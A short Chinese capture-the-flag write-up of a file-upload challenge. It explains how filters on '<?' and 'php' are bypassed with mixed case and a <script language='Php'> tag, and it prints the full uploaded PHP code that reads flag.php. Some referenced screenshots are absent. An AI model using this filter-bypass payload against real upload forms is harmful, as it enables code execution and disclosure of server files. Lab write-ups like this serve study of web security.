随意的上传
提示告诉flag了的位置,在flag.php里面
标题是传你想传,确实也是传我想传,传个php上去也没有拦截,但是进去之后,发现
<? 和 php
被过滤了,传的是
显示的是
直接访问flag.php是这样的
php发现可以大小写绕过,但是上传不了木马了,<?被过滤了,又给了我们flag的位置,所以想到直接读取flag.php的内容,通过js标签绕过,上传代码如下
<script language="Php"> //这里的php注意大小写绕过一下
$fh=fopen("../flag.".strtolower("Php"),'r');
echo fread($fh,filesize("../flag.".strtolower("Php")));
fclose($fh);
</script>
读取到flag